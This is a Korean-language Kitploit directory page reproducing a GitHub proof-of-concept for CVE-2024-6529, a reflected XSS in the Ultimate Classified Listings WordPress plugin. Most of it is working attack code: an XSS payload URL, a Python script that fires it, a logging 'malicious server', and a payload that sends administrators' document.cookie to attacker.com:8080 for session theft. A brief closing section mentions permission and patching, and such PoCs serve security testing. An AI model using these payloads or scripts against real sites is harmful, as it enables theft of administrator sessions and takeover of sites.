Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-6529 — Ultimate Classified Listings WordPress 플러그인의 반사형 XSS와 특수 제작된 페이로드 및 로깅 서버를 통한 관리자 쿠키 탈취를 시연하는 개념 증명 스크립트. | Kitploit
도구/GitHubGitHub/abdurahmon3236/cve-2024-6529
Vulnerability AnalysisExploitationWeb Application ExploitationPhishingPenetration TestingSocial Engineering
GitHubabdurahmon3236/cve-2024-6529

CVE-2024-6529

Ultimate Classified Listings WordPress 플러그인의 반사형 XSS와 특수 제작된 페이로드 및 로깅 서버를 통한 관리자 쿠키 탈취를 시연하는 개념 증명 스크립트.

저장소 보기
62년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

워드프레스 플러그인의 취약점에 대한 PoC (Proof of Concept)

이 저장소에는 다양한 워드프레스 플러그인에서 발견된 여러 취약점에 대한 PoC(Proof of Concept) 스크립트가 포함되어 있습니다. 이 스크립트는 공격자가 이러한 취약점을 악용하여 악의적인 행동을 수행하는 방법을 보여줍니다.

목차

  • 포함된 취약점
  • 설정 및 사용법
    • Ultimate Classified Listings 플러그인의 반사형 XSS
    • XSS를 이용한 쿠키 탈취
  • 중요 고려사항

포함된 취약점

  1. Ultimate Classified Listings 플러그인의 반사형 크로스 사이트 스크립팅(XSS)

    • 버전 1.4 이전의 Ultimate Classified Listings 워드프레스 플러그인의 취약점은 공격자가 정제되지 않은 매개변수를 통해 악성 스크립트를 주입하여 임의의 JavaScript를 실행할 수 있게 합니다.
  2. XSS를 이용한 쿠키 탈취

    • 공격자가 반사형 XSS 취약점을 악용하여 관리자와 같은 높은 권한을 가진 사용자의 쿠키를 악성 서버로 전송하여 탈취하는 방법을 보여줍니다.

설정 및 사용법

Ultimate Classified Listings 플러그인의 반사형 XSS

이 PoC는 Ultimate Classified Listings 플러그인의 반사형 XSS 취약점을 악용하는 방법을 보여줍니다.

  1. 취약한 매개변수 식별:

    • 취약한 매개변수가 http://example.com/classifieds URL의 search라고 가정합니다.
  2. 악성 URL 제작:

    • 악성 URL에는 알림 대화상자를 실행하는 페이로드를 포함할 수 있습니다:
      root@kitploit:~
      http://example.com/classifieds?search=<script>alert('XSS')</script>
      
  3. PoC 스크립트 실행:

    • 다음 스크립트를 xss_poc.py로 저장하고 실행하세요.
    root@kitploit:~
    import requests
    
    # Configuration
    target_url = "http://example.com/classifieds"  # Change this to the target site's URL
    payload = "<script>alert('XSS')</script>"  # XSS payload
    
    def trigger_xss():
        # Construct the malicious URL
        malicious_url = f"{target_url}?search={payload}"
    
        # Send a GET request to the malicious URL
        response = requests.get(malicious_url)
    
        # Check if the payload is reflected in the response
        if payload in response.text:
            print("[+] XSS payload reflected in the response.")
            print("[+] Malicious URL:", malicious_url)
        else:
            print("[-] XSS payload not reflected in the response.")
    
    if __name__ == "__main__":
        trigger_xss()
    

XSS를 이용한 쿠키 탈취

이 PoC는 공격자가 반사형 XSS 취약점을 악용하여 높은 권한을 가진 사용자의 쿠키를 탈취하는 방법을 보여줍니다.

  1. 악성 서버 설정:

    • 다음 스크립트를 malicious_server.py로 저장하고 실행하여 들어오는 요청(쿠키 포함)을 기록하는 서버를 시작하세요.
    root@kitploit:~
    from http.server import BaseHTTPRequestHandler, HTTPServer
    import logging
    
    class RequestHandler(BaseHTTPRequestHandler):
        def do_GET(self):
            logging.info(f"Received request: {self.headers}")
            self.send_response(200)
            self.end_headers()
    
    def run(server_class=HTTPServer, handler_class=RequestHandler, port=8080):
        logging.basicConfig(filename='server.log', level=logging.INFO)
        server_address = ('', port)
        httpd = server_class(server_address, handler_class)
        logging.info(f'Starting server on port {port}...')
        httpd.serve_forever()
    
    if __name__ == "__main__":
        run()
    
  2. 쿠키를 탈취하는 페이로드 제작:

    • 관리자의 쿠키를 악성 서버로 보내는 페이로드를 생성합니다:
      root@kitploit:~
      http://example.com/classifieds?search=<script>new Image().src='http://attacker.com:8080?cookie='+document.cookie;</script>
      
  3. PoC 스크립트 실행:

    • 다음 스크립트를 steal_cookies_poc.py로 저장하고 실행하세요.
    root@kitploit:~
    import requests
    
    # Configuration
    target_url = "http://example.com/classifieds"  # Change this to the target site's URL
    attacker_server = "http://attacker.com:8080"  # Change this to your malicious server's URL
    payload = f"<script>new Image().src='{attacker_server}?cookie='+document.cookie;</script>"
    
    def trigger_xss():
        # Construct the malicious URL
        malicious_url = f"{target_url}?search={payload}"
    
        # Send a GET request to the malicious URL
        response = requests.get(malicious_url)
    
        # Check if the payload is reflected in the response
        if payload in response.text:
            print("[+] XSS payload reflected in the response.")
            print("[+] Malicious URL:", malicious_url)
        else:
            print("[-] XSS payload not reflected in the response.")
    
    if __name__ == "__main__":
        trigger_xss()
    

중요 고려사항

  • 권한: 대상 사이트에서 이러한 취약점을 테스트하기 위해 명시적 허가를 받았는지 확인하세요. 무단 접근은 불법이며 비윤리적입니다.
  • 테스트 환경: 프로덕션 시스템에 영향을 미치지 않도록 통제된 환경에서 이러한 테스트를 수행하세요.
  • 완화 조치: Ultimate Classified Listings 플러그인을 버전 1.4 이상으로 업데이트하세요. 출력에 포함하기 전에 항상 사용자 입력을 정제하고 이스케이프 처리하세요.

이 PoC는 공격자가 워드프레스 플러그인의 취약점을 악용하여 악의적인 행동을 수행하는 방법을 보여줍니다. 항상 소프트웨어를 최신 상태로 유지하고 보안 모범 사례를 따라 이러한 취약점을 방지하세요.

도구 다운로드